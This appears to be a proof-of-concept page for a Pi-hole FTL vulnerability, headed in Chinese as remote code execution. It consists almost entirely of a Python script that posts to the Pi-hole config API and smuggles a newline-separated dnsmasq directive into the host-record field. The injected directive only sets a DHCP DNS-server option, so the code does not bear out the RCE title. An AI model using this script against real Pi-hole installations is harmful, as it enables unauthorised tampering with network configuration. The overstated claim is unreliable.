CVE-2026-35519 Pi-hole FTL 远程代码执行漏洞

#!/usr/bin/env python3 import requests # Target configuration target_url = "http://<pi-hole-ip>/api/config" api_token = "<valid-api-token>" # Malicious payload injecting a newline and a dnsmasq directive # This attempts to add a dhcp-option which can lead to command execution in certain contexts payload = "example.com 1.2.3.4\ndhcp-option=6,8.8.8.8" headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } data = { "config": { "dns.hostRecord": payload } } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully. Configuration updated.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")